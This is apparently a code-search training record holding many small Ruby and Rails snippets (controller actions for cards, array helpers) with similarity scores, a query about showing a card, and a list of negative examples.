"def all_related_models\n via_assay = related_assays.collect do |assay|\n assay.model_masters\n end.flatten.uniq.compact\n via_assay | related_models\n end",
"def drivers\n rides.map {|ride| ride.driver}.uniq\n end",
"def set_order_types\n @brand = Brand.find(params[:brand_id])\n end",
"def skittle_combos(skittles)\n skittles.combination(2).map(&:sort).uniq\nend",
"def full_classification_list\n \n vs = Hash[Vineyard.all.map { |v| [v.id, {:name => v.name, :up_id => v.subregion_id}] }]\n ss = Hash[Subregion.all.map { |s| [s.id, {:name => s.name, :up_id => s.region_id}] }]\n rs = Hash[Region.all.map { |r| [r.id, {:name => r.name, :up_id => r.country_id}] }]\n cs = Hash[Country.all.map { |c| [c.id, {:name => c.name, :up_id => nil}] }]\n\n full_list = []\n \n vs.reject { |k,v| v[:name].nil? || v[:name] == \"\" }.each do |k, v|\n s = ss[v[:up_id]]\n r = rs[s[:up_id]]\n c = cs[r[:up_id]]\n full_list = full_list.append([k, v[:name], v[:up_id], s[:name], s[:up_id], r[:name], r[:up_id], c[:name]])\n end\n \n ss.reject { |k,s| s[:name].nil? || s[:name] == \"\" }.each do |k, s|\n r = rs[s[:up_id]]\n c = cs[r[:up_id]]\n full_list = full_list.append([nil, nil, k, s[:name], s[:up_id], r[:name], r[:up_id], c[:name]])\n end\n \n rs.reject { |k,r| r[:name].nil? || r[:name] == \"\" }.each do |k, r|\n c = cs[r[:up_id]]\n full_list = full_list.append([nil, nil, nil, nil, k, r[:name], r[:up_id], c[:name]])\n end\n \n cs.reject { |k,c| c[:name].nil? || c[:name] == \"\" }.each do |k, c|\n full_list = full_list.append([nil, nil, nil, nil, nil, nil, k, c[:name]])\n end\n\n return full_list\n end",
"def distinct_devices\n Device.distinct.pluck(:description)\n end",
"def all_technologies_list\n ActsAsTaggableOn::Tagging.includes(:tag).where(context: 'technologies').map{|tagging| tagging.tag.name}.uniq.sort_by!(&:downcase)\n end",
"def cities \n galleries.map{|g| g.city}.uniq\n end",
"def asocia_cat_riesgo(especie)\n cat_riesgo = []\n \n especie.catalogos.each do |cat|\n if [2,4].include?(cat.nivel1) && !(Catalogo::EVALUACION + Catalogo::AMBIENTE_EQUIV_MARINO + [\"Riesgo bajo (LR): Dependiente de conservación (cd)\"]).include?(cat.descripcion)\n cat_riesgo << cat.descripcion.estandariza\n end\n end\n\n cat_riesgo.uniq\n end",
"def products\n vendors_at_market = self.vendors\n products_at_market = []\n vendors_at_market.each do |vendor|\n products_at_market << vendor.products\n end\n return products_at_market.flatten\n end",
"def carowner_names\n CarOwner.all.select do |c|\n if c.mechanic == self\n c.name\n end\n end\nend",
"def available_smartphones_category(country, category)\n sp = Smartphone.select('id, model, code, price, category').where('state= ? AND country= ? AND (category= ? OR category= ?)',\n 'catalog',country, category, 'ALL')\n # Format to show in view\n smp = sp.map { |m| [m.model, m.id] }\n return smp\n\n end",
"def types_of_cars(input_make, input_model, input_color, input_year)\n car = { \"make\" => input_make, \"model\" => input_model, \"color\" => input_color, \"year\" => input_year }\n puts \"#{car[\"color\"]} #{car[\"year\"]} #{car[\"make\"]} #{car[\"model\"]}\"\n return car\nend",
"def get_trio(bay_no)\n WAREHOUSE.select{|bay_no| bay[:bay_no] == bay_no}[:product]\nend",
"def terms\n @data.flatten.uniq\n end",
"def clean_vehicle_list\n cleaned_list = setup.extract_vehicle_data.drop(8)\n cleaned_list.map { |x| cleaned_list << x unless x.empty? }\n end",
"def index\n @car_specific_specs = CarSpecificSpec.all\n end",
"def all_animal_species\n #binding.pry\n all_animals.select{|species|species.zoo == self }.uniq\n end",
"def products\n products_at_market = []\n vendors_at_market = self.vendors\n vendors_at_market.each do |vendor|\n products_at_market << vendor.products\n end\n return products_at_market.flatten\n end",
"def company_opportunity_select_type\n [\n ['Proyecto virtual', Opportunity::TYPE_VIRTUAL],\n ['Trabajos express', Opportunity::TYPE_SEASONAL],\n ['Empleo temporal', Opportunity::TYPE_ON_SITE],\n ['Empleo', Opportunity::TYPE_FIRST_JOB],\n ['Práctica', Opportunity::TYPE_PRACTICE]\n ]\n end",
"def actual_specs\n as = supplier_orders.map(&:actual_specs)\n as = as.uniq.compact\n as\n end"
] |
[
"0.64856875",
"0.6158809",
"0.6057597",
"0.5898414",
"0.57761735",
"0.57627577",
"0.57495594",
"0.56794167",
"0.5621073",
"0.5608803",
"0.5587764",
"0.55733275",
"0.5571617",
"0.5567967",
"0.5563719",
"0.5539419",
"0.55317026",
"0.55138755",
"0.55098176",
"0.54869604",
"0.54731077",
"0.54528743",
"0.5434118",
"0.5429726",
"0.5412308",
"0.5410287",
"0.5398566",
"0.5389611",
"0.5350204",
"0.53230804",
"0.5293812",
"0.5291776",
"0.52911985",
"0.52900213",
"0.5280764",
"0.52779645",
"0.52757955",
"0.5269819",
"0.526375",
"0.5259936",
"0.5238648",
"0.52088547",
"0.51973337",
"0.51821876",
"0.5181382",
"0.5158178",
"0.5133815",
"0.5133039",
"0.51327175",
"0.51113784",
"0.5108278",
"0.5103653",
"0.5093195",
"0.5092974",
"0.50912035",
"0.5055569",
"0.5052833",
"0.5041785",
"0.50362885",
"0.50345933",
"0.5033696",
"0.5008373",
"0.49987325",
"0.49921837",
"0.49897417",
"0.4983948",
"0.4983684",
"0.49780285",
"0.496847",
"0.49658358",
"0.49626604",
"0.49497822",
"0.49380934",
"0.49346197",
"0.4930758",
"0.49283215",
"0.4922785",
"0.49217895",
"0.4911823",
"0.48932347",
"0.48911092",
"0.48828208",
"0.48788825",
"0.48776963",
"0.48703527",
"0.48638815",
"0.4847838",
"0.4845619",
"0.4841664",
"0.48396465",
"0.48383945",
"0.48358607",
"0.48353133",
"0.48348373",
"0.48300368",
"0.48216474",
"0.48153377",
"0.48143852",
"0.48138958",
"0.48124084"
] |
0.7143937
|
0
|
this one is unconditional
|
def tire_manufacturer_id_conditions
["tire_models.tire_manufacturer_id = ?", self.id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def conditionally(*) end",
"def conditionally(*) end",
"def semact?; false; end",
"def placebo?; false end",
"def cond; end",
"def cond; end",
"def cond; end",
"def condition; end",
"def isolated?; end",
"def isolated?; end",
"def flag; end",
"def used?; end",
"def probers; end",
"def private; end",
"def ignores; end",
"def missed?; end",
"def multi?; end",
"def multi?; end",
"def local?; end",
"def sticky?() end",
"def isolated; end",
"def isolated; end",
"def internal?; end",
"def usable?; end",
"def processing_instruction?; end",
"def processing_instruction?; end",
"def anchored; end",
"def sharded?; false; end",
"def internship_passed; end",
"def incremental?(override = T.unsafe(nil)); end",
"def in_peril?; @in_peril; end",
"def suivre; end",
"def check ; true ; end",
"def missing?; end",
"def explicit?; end",
"def first?; end",
"def true(_argvs)\n return nil\n end",
"def sharded?; true; end",
"def child_condition; end",
"def final?; end",
"def multiple?; end",
"def offences_by; end",
"def global?; end",
"def positive?; end",
"def if_needs_rekey?; end",
"def fallbacks; end",
"def fallbacks; end",
"def fallbacks=(_arg0); end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def checked?; end",
"def multi_arged?\n false\n end",
"def if_proc=(_arg0); end",
"def absent?; end",
"def generic?; true; end",
"def dynamic?; end",
"def maybe; end",
"def hit_condition()\n #This is a stub, used for indexing\n end",
"def if_proc; end",
"def kgio_autopush?()\n #This is a stub, used for indexing\n end",
"def celebration; end",
"def same; end",
"def unknown?; false; end",
"def unknown?; false; end",
"def needed_if_relevant?\n false\n end",
"def inline?; false; end",
"def inline?; false; end",
"def single?; false; end",
"def single?; false; end",
"def left?; end",
"def borked?; @borked; end",
"def offences_by=(_arg0); end",
"def present?; end",
"def if_condition; end",
"def skipped; end",
"def skipped?; end",
"def skipped?; end",
"def skipped?; end",
"def skipped?; end",
"def deferred? ; false ; end",
"def processor; end",
"def performed?; end",
"def performed?; end",
"def nonzero?; end",
"def missing?; false; end",
"def needed_if_relevant?\n false\n end",
"def active?; end",
"def optional; end",
"def schubert; end",
"def possibly_include_hidden?; end",
"def run_cond; end",
"def ordinary?\n raise \"Not implemented yet\"\n end",
"def temporary?; self.temporary; end",
"def available; end",
"def available; end",
"def has_next?; end",
"def primary?; @primary; end",
"def skips; end",
"def multihead\n false\n end"
] |
[
"0.6713588",
"0.6713588",
"0.64486593",
"0.6368151",
"0.630702",
"0.630702",
"0.630702",
"0.62282485",
"0.6166548",
"0.6166548",
"0.61031383",
"0.609271",
"0.60590976",
"0.6051147",
"0.588692",
"0.58427906",
"0.5804803",
"0.5804803",
"0.57561255",
"0.57552147",
"0.5723503",
"0.5723503",
"0.5695599",
"0.5671569",
"0.5663103",
"0.5663103",
"0.5658489",
"0.56572187",
"0.56409806",
"0.5628254",
"0.5618809",
"0.5618174",
"0.5612465",
"0.5609587",
"0.5606368",
"0.5602066",
"0.5599652",
"0.5577646",
"0.55771244",
"0.55754125",
"0.5573063",
"0.5571279",
"0.55541956",
"0.5553394",
"0.55348593",
"0.55190974",
"0.55190974",
"0.55167913",
"0.5512495",
"0.5512495",
"0.5512495",
"0.5512495",
"0.55084723",
"0.5498743",
"0.5486931",
"0.5484926",
"0.54725575",
"0.5467444",
"0.54635775",
"0.5463474",
"0.5460827",
"0.5458269",
"0.5453399",
"0.5453234",
"0.5446059",
"0.5446059",
"0.54438895",
"0.5443072",
"0.5443072",
"0.5440457",
"0.5440457",
"0.542621",
"0.54051995",
"0.5399409",
"0.5397646",
"0.5394837",
"0.5391481",
"0.5389399",
"0.5389399",
"0.5389399",
"0.5389399",
"0.5379501",
"0.53780454",
"0.5370779",
"0.5370779",
"0.53677297",
"0.53619546",
"0.53607917",
"0.53468007",
"0.53465223",
"0.5330947",
"0.53304607",
"0.53301096",
"0.53279775",
"0.5327503",
"0.5323605",
"0.5323605",
"0.5316519",
"0.5308305",
"0.5306795",
"0.53018546"
] |
0.0
|
-1
|
=> 5.0 THIS CODE IS A METHOD THAT ADDS EVERY ELEMENT OF AN ARRAY AND DIVIDES IT BY THE LENGTH OF ARRAY
|
def average_array(arr)
i = 0
sum = 0
avg = 0.0
while i < arr.length
old = arr[i]
sum += old
i += 1
end
avg = sum / arr.length.to_f
return avg
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def basic_6 (array_iterate)\n sum = 0\n array_iterate.each { |n| sum = sum + n }\n return sum / array_iterate.length\nend",
"def something\n max = self.max_size\n arrays = self.lifts_array\n arrays.each do |array|\n if array.size < max \n difference1 = max - array.size\n difference = difference1 / 2\n difference.times do \n array << 0\n array << \"0\"\n end\n else\n end\n end\n arrays\n end",
"def average(arr)\n arr.inject(:+) / arr.length\nend",
"def total_of_array(array)\n array.inject(&:+)\nend",
"def total(array)\n\tarray.inject(:+)\nend",
"def total(array)\n array.inject(:+)\nend",
"def total (array)\n array.inject {|m, v| m += v}\nend",
"def total(array)\n sum = 0.0\n result = 0.0\n if array.length > 0 then\n array.each do |item|\n sum += item\n end\n result = sum \n end\n return result\nend",
"def productify_easy(arr)\n product = arr.inject(:*)\n new_arr = []\n arr.each do |num|\n new_arr << product / num\n end\n new_arr\nend",
"def prom_ele(a)\n sum = 0\n a.each do |i|\n sum += i.to_i\n end\n puts sum / a.length.to_f\nend",
"def sum (array)\n total = 0.0\n array.each { |elem| total += elem }\n total\nend",
"def average(array)\n array.reduce(:+) / array.length\nend",
"def average_of_array(array)\n (array.inject(:+) / array.size.to_f).round\nend",
"def four(array)\n array.map.inject(:+)\nend",
"def sum_array( numbers )\r\n numbers.inject(0, :+)\r\nend",
"def calculate_doubles(arr)\n array = []\n arr.each {|x| array << x + x}\n array\n\nend",
"def total(arr)\n arr.inject(:+)\nend",
"def total array\n array.inject(0){|sum,x| sum + x }\nend",
"def parts_sums(input_array)\n total = input_array.sum\n output = [total]\n input_array.size.times do \n total = total - input_array.shift\n output << total\n end\n output\nend",
"def average_of_array(array)\n (1.0*array.inject{|sum, ele| sum + ele}/array.length).round(0)\nend",
"def average(array)\n array.sum / array.length\nend",
"def average(array)\n array.inject(:+).to_f / array.size\nend",
"def total array\n array.reduce(0, :+)\nend",
"def add_elements(decimal_array)\n total = 0\n decimal_array.each do |number|\n total += number\n end\n return total\nend",
"def average(array)\n array.reduce(:+) / array.size\nend",
"def average(array)\n array.reduce(:+) / array.size\nend",
"def sum(array)\n total = 0.0\n array.each { |num| total += num }\n return total\nend",
"def average(array)\n array.inject(&:+) / array.length\n end",
"def total(arr)\n return arr.inject(:+)\nend",
"def average(arr)\n arr.sum / arr.length\nend",
"def average(arr)\n arr.sum / arr.length\nend",
"def average(arr)\n arr.sum / arr.length\nend",
"def average(array)\n return sum(array)/array.length \nend",
"def total(array)\n\tarray.inject{|result, element|result+element}\nend",
"def array_sum(array)\r\n array.inject(0, :+)\r\nend",
"def five(array)\n array.map.inject(:+) *2\nend",
"def average(array)\n puts array.sum.to_f / array.length\nend",
"def total_of_array(array)\n array.reduce(:+)\nend",
"def average(array)\n result = array.inject(:+)\n result / array.count\nend",
"def average(ary)\n ary.inject(&:+) / ary.size\nend",
"def arraysum\n return self.inject(0){|acc,i|acc +i}\n end",
"def average_of_array(array)\n sum_of_array = array.inject{ |x, y| x + y }.to_f\n (sum_of_array.to_f/array.length).round\nend",
"def array_inject\n golf_scores=[75,76,78,77,79] # this is the orignal array \n golf_scores.inject {|sum,n| sum + n} #this example sums all the number in the array\n #golf_scores\nend",
"def total(array)\n sum = array.inject(:+)\n sum\nend",
"def average(array)\n total = 0\n array.each { |num| total += num }\n total / array.length\nend",
"def average(array)\n total = 0\n array.each do |number|\n total += number\n end\n total / array.length\nend",
"def total(array)\n array.inject(0) {|total, i| total + i }\nend",
"def / len\n a = []\n each_with_index do |x,i|\n a << [] if i % len == 0\n a.last << x\n end\n a\n end",
"def average(array)\n (array.reduce(&:+) / array.length.to_f).round(2)\nend",
"def sum1(array)\n# array.each do |i|\n# array[i].concat\n# end\n# end\n\nholder = 0\narray.each {|a| holder+=a }\nend",
"def total(array)\n array[0..-1].reduce(:+)\nend",
"def total (array)\n\tarray.inject { |sum, n| sum + n }\nend",
"def total(array)\n\tsum = array.inject(0, :+)\nend",
"def average(ary)\n ary.sum / ary.length\nend",
"def average(array)\n sum = 0\n array.each { |value| sum += value }\n sum / array.length\nend",
"def cust_red(array)\n total = 0 \n array.each_with_index do |el, i|\n total += el \n end \n total\nend",
"def average(arr)\n arr.sum / arr.size\nend",
"def array_inject(array)\n array.inject(:+)\nend",
"def average(array)\n array.sum / array.size.to_f\nend",
"def average(array)\n total = 0\n array.each do |num|\n total += num\n end\n total.to_f / array.size\nend",
"def total_of_array(array)\n array.inject(0) {|sum, i| sum + i }\nend",
"def average(array)\n result = array.inject { |sum, n| sum + n }\n result / array.size\nend",
"def total(array)\n array.inject { |sum, n| sum + n}\nend",
"def my_function2(arr)\n final_arr = []\n first_half = []\n first_product = 1\n last_half = []\n arr.each_with_index do |n, i|\n first_half = arr[0...i]\n last_half = arr[i+1..-1]\n first_product = first_half.reduce(:*) || 1\n last_product = last_half.reduce(:*) || 1\n products = first_product * last_product\n final_arr.push(products)\n end\n return \"Products: #{final_arr}\"\nend",
"def average(array)\n sum = 0\n array.each do |int|\n sum += int\n end\n sum / array.length\nend",
"def simpleArraySum(ar)\n ar.sum\nend",
"def running_total(array)\n run_total = []\n \n index = 1\n while index <= array.length\n element = array.slice(0,index)\n run_total << element.inject(:+)\n index += 1\n end\n run_total\nend",
"def total(array)\n array.inject(0) {|sum, i| sum + i }\nend",
"def total(array)\n\tarray.inject(0) {|sum, num| sum += num}\nend",
"def average_f(arr)\n arr.inject(:+).fdiv(arr.size)\nend",
"def average_of_array(array)\n sum = 0\n array.each {|x|\n sum += x\n }\n (sum.round(2) / array.size).round\nend",
"def average(input_array)\n sum = 0\n \n input_array.each {|num| sum += num}\n \n average = sum.to_f/input_array.length\nend",
"def simpleArraySum(ar)\n ar.sum\nend",
"def calcula_media(array)\n array = array.sort()\n n = array.size\n soma = 0.0\n # if array.size%2 != 0\n # return array[n/2.0]\n if array.size%2\n return array[n/2.0]-1.0 + array[n/2.0] / 2.0\n end\nend",
"def sum_it_up(array)\n sum_of_array = 0\n array.each do |num|\n sum_of_array += num\n end\n return sum_of_array\nend",
"def reduce_to_total(array)\n total = 0 \n count = 0 \n while count < array.length do\n total = total + array[count]\n count += 1\n end\n total\nend",
"def sum_array(array)\n array.inject { |sum, n| sum += n}\nend",
"def sum_of_sums(array)\r\nend",
"def average(array)\n total = 0\n array.each do |number|\n total = total + number\n end\n total / array.size\nend",
"def promedio arr\n sum = 0 \n arr.each{|i| sum += i}\n prom = sum/arr.length\n puts prom\nend",
"def mean(ary)\n ary.inject(0) { |sum, i| sum += i }/ary.length.to_f \nend",
"def total(array)\n sum = 0\n array.inject(:+)\nend",
"def total(array)\n sum = 0\n array.inject(:+)\nend",
"def total(array)\n\tarray.inject { |sum, x| sum + x }\nend",
"def sum(array)\n return array.inject(0, &:+)\nend",
"def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend",
"def averagefloat(array)\n totalval = 0\n array.each { |x| totalval += x }\n totalval / array.length.to_f\nend",
"def sum_array(array)\n #array.inject(0){|sum,x| sum + x }\n array.inject(0){|sum,x| sum + x }\nend",
"def calculate_doubles!(arr)\n\n arr.map! {|x| x + x}\n arr\n\nend",
"def average(numbers)\n numbers.inject { |sum, element| sum + element }.to_f / numbers.size\nend",
"def better_parts_sums(ls)\n out_array = [ls.sum || 0]\n ls.each do |ele|\n out_array << out_array.last - ele\n end\n return out_array\nend",
"def average(arr)\n sum = arr.reduce(:+)\n sum / arr.size\nend",
"def main(arr, mod_len)\n arr.sum.to_s[0...mod_len].to_i\nend",
"def mean(arr)\n arr.reduce(:+) / arr.size\nend",
"def sum_of(array)\n array.inject(0.0) { |sum, e| sum + e }\n end",
"def ary_add(array)\n if array.length.even?\n ary_couples = array.each_slice(2)\n final_ary = []\n ary_couples.each do |duo|\n ary_sum = duo[0] + duo[-1]\n final_ary << ary_sum \n end\n return final_ary\n else\n last_obj = array.pop\n ary_couples = array.each_slice(2)\n final_ary = []\n ary_couples.each do |duo|\n ary_sum = duo[0] + duo[-1]\n final_ary << ary_sum \n \n end\n return final_ary << last_obj\n end \nend",
"def average_of_array(array)\n (array.sum).to_f / (array.length)\nend",
"def sum arr\n arr.inject(0,:+)\nend",
"def sum arr\n arr.inject(0,:+)\nend",
"def total(array)\n\tarray.inject do |sum, i| sum + i\n\tend\nend",
"def running_total1(array)\n array_new = []\n loop do\n break if array.empty?\n array_new << array[0]\n array[1] = array[0] + array[1] if array.size >= 2\n array.shift\n end\n array_new\nend"
] |
[
"0.7625995",
"0.70095193",
"0.6979388",
"0.695513",
"0.6934555",
"0.69127506",
"0.6875492",
"0.6868498",
"0.68496513",
"0.68473977",
"0.6840082",
"0.6838491",
"0.683573",
"0.6832777",
"0.6827437",
"0.6808132",
"0.6800658",
"0.6797144",
"0.67863864",
"0.6776517",
"0.67641115",
"0.6750604",
"0.6742437",
"0.6735252",
"0.6728334",
"0.6728334",
"0.6727106",
"0.67248183",
"0.6721164",
"0.6709498",
"0.6709498",
"0.6709498",
"0.67074645",
"0.6705723",
"0.6684314",
"0.66796345",
"0.6668333",
"0.6665976",
"0.6660059",
"0.66538435",
"0.6652503",
"0.66489226",
"0.6639162",
"0.6636237",
"0.66294646",
"0.6627916",
"0.66251695",
"0.6620814",
"0.6620323",
"0.6612829",
"0.6608843",
"0.6598865",
"0.6598656",
"0.6596604",
"0.65932816",
"0.6592078",
"0.65869606",
"0.65853715",
"0.6582035",
"0.6577003",
"0.6575142",
"0.6570298",
"0.6565702",
"0.656167",
"0.6560897",
"0.6559301",
"0.6555182",
"0.6547429",
"0.654719",
"0.6545349",
"0.6543676",
"0.6541053",
"0.6539232",
"0.6537978",
"0.6536389",
"0.6535687",
"0.6534143",
"0.6530361",
"0.6528709",
"0.6522042",
"0.6520762",
"0.6519356",
"0.6519356",
"0.65187126",
"0.651474",
"0.6513228",
"0.6512164",
"0.65120703",
"0.65106845",
"0.65063554",
"0.649917",
"0.64987385",
"0.64911306",
"0.6490219",
"0.6489274",
"0.64874166",
"0.64847183",
"0.6482701",
"0.6482701",
"0.64821965",
"0.64803696"
] |
0.0
|
-1
|
GET /cards/1 GET /cards/1.xml
|
def show
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @card }
format.pdf {
@page_size=params["page_size"]
@page_layout = params["page_layout"]
prawnto :prawn => { :left_margin=>0,:right_margin=>0,:bottom_margin=>0,:top_margin=>0,:page_size=>params["page_size"],:page_layout=>params["layout"].to_sym }
# @iconv = Iconv.new('acsii', 'utf-8')
# @desc =@iconv.iconv(@card.desc)
@desc = @card.desc
@font_size = params["font_size"].to_i
render :layout => false
}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @collection_card = CollectionCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @collection_card }\n end\n end",
"def index\n @expansion_of_cards = ExpansionOfCard.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expansion_of_cards }\n end\n end",
"def show\n @team = Team.find(params[:id])\n @cards = @team.cards :all, :limit => 10\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @team }\n end\n end",
"def show\n @old_card = OldCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @old_card }\n end\n end",
"def show\n @bank_card = BankCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bank_card }\n end\n end",
"def uri\n 'cards'\n end",
"def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bcard }\n end\n end",
"def index\n @card = @deck.cards.find(:first, :order => 'RAND()')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cards }\n end\n end",
"def show\n @card_template = CardTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @card_template }\n end\n end",
"def show\n @expansion_of_card = ExpansionOfCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expansion_of_card }\n end\n end",
"def index\n @cards = Card.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @cards }\n end\n end",
"def show\n @card = Card.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card }\n end\n end",
"def show\n @card = Card.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card }\n end\n end",
"def show\n @card = Card.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card }\n end\n end",
"def show\n @card = Card.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card }\n end\n end",
"def show\n @card = Card.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card }\n end\n end",
"def show\n @fleet_card = FleetCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fleet_card }\n end\n end",
"def show\n @timecard = Timecard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @timecard }\n end\n end",
"def show\n # @card = Card.find(params[:id])\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @card }\n # end\n end",
"def new\n @card = @deck.cards.new\n @decks = Deck.all(:order => 'title')\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card }\n end\n end",
"def card(multiverse_id)\n get '/Pages/Card/Details.aspx', :multiverseid => multiverse_id\n end",
"def index\n @timecards = Timecard.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @timecards }\n end\n end",
"def cards\n @celebrity = Celebrity.find(params[:id])\n @cards = @celebrity.cards\n render json: @cards\n end",
"def index\n @cards = Card.all\n end",
"def index\n @cards = Card.all\n end",
"def index\n @cards = Card.all\n end",
"def index\n @cards = Card.all\n end",
"def show\n @flash_card = FlashCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @flash_card }\n format.xml { render :xml => @flash_card }\n end\n end",
"def cardlist\n if params.has_key?(:nocache) || !flash.empty? || stale?(:last_modified => @cardset.last_edit_log.updated_at, :etag => \"cardset_#{@cardset.id}_cardlist\")\n respond_to do |format|\n format.html # cardlist.html.erb\n format.xml { render :xml => @cardset.cards } # ??\n format.text { render }\n format.csv { render }\n end\n end\n end",
"def index\n #@cards = Card.all\n end",
"def index\n @cards = @deck.cards\n end",
"def card\n Card.from_response client.get(\"/actions/#{action_id}/card\")\n end",
"def index\n @cards = @deck.cards.all\n end",
"def show\n @card_set = CardSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card_set }\n end\n end",
"def show\n @card_punch = CardPunch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @card_punch }\n end\n end",
"def show\n @cruno_card = CrunoCard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cruno_card }\n end\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json { render json: {id: @card.id, name: @card.name} }\n end\n end",
"def show\n @cardbox = current_user.cardboxes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cardbox }\n end\n end",
"def show\n @carro = Carro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @carro }\n end\n end",
"def show\n @clenum = Clenum.find(params[:ids])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clenum }\n end\n end",
"def show\n render json: @card, status: :ok\n end",
"def show\n @cash_book = CashBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cash_book }\n end\n end",
"def show\n @black = Black.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @black }\n end\n end",
"def show\n @card = PkCard.find(params[:id])\n render json: @card\n end",
"def show\n @atmdebitcardapp = Atmdebitcardapp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atmdebitcardapp }\n end\n end",
"def index\n @cards = Card.page(params[:page]).per(7)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cards }\n end\n end",
"def show\n @clip = Clip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clip }\n end\n end",
"def new\n @old_card = OldCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_card }\n end\n end",
"def index\n @car = Car.find(params[:car_id])\n @assets = @car.assets\n\n respond_to do |format|\n format.xml {render xml: @assets}\n format.json {render json: @assets}\n end\n end",
"def random\n random_card = self.class.get('/cards/random')\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json do\n\n hash_card = {\n name: @card.name,\n desc: @card.oracle_text,\n url: card_path(@card)\n }\n\n render json: hash_card\n end\n end\n end",
"def show\n @ccl = Ccl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ccl }\n end\n end",
"def show\n @cable = Cable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cable }\n end\n end",
"def show\n @cable = Cable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cable }\n end\n end",
"def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"def show\n @currency = Currency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"def show\n render json: @card\n end",
"def show\n render json: @card\n end",
"def show\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contract }\n end\n end",
"def show\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contract }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cv }\n end\n end",
"def cards(options = { :filter => :open })\n return @cards if @cards\n @cards = Client.get(\"/boards/#{id}/cards\").json_into(Card)\n end",
"def show\n @cheque = Cheque.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cheque }\n end\n end",
"def show\n @card = Card.find_by_access_token!(params[:id])\n @destination = @card.destination\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @card }\n end\n end",
"def show\n @catalog = Catalog.find(params[:id])\n @title = @catalog.title\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bcard }\n end\n end",
"def show\n @my_car = MyCar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_car }\n end\n end",
"def show\n @handbook = Handbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @handbook }\n end\n end",
"def index\n @m_cards = MCard.all\n end",
"def show\n @acre = Acre.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @acre }\n end\n end",
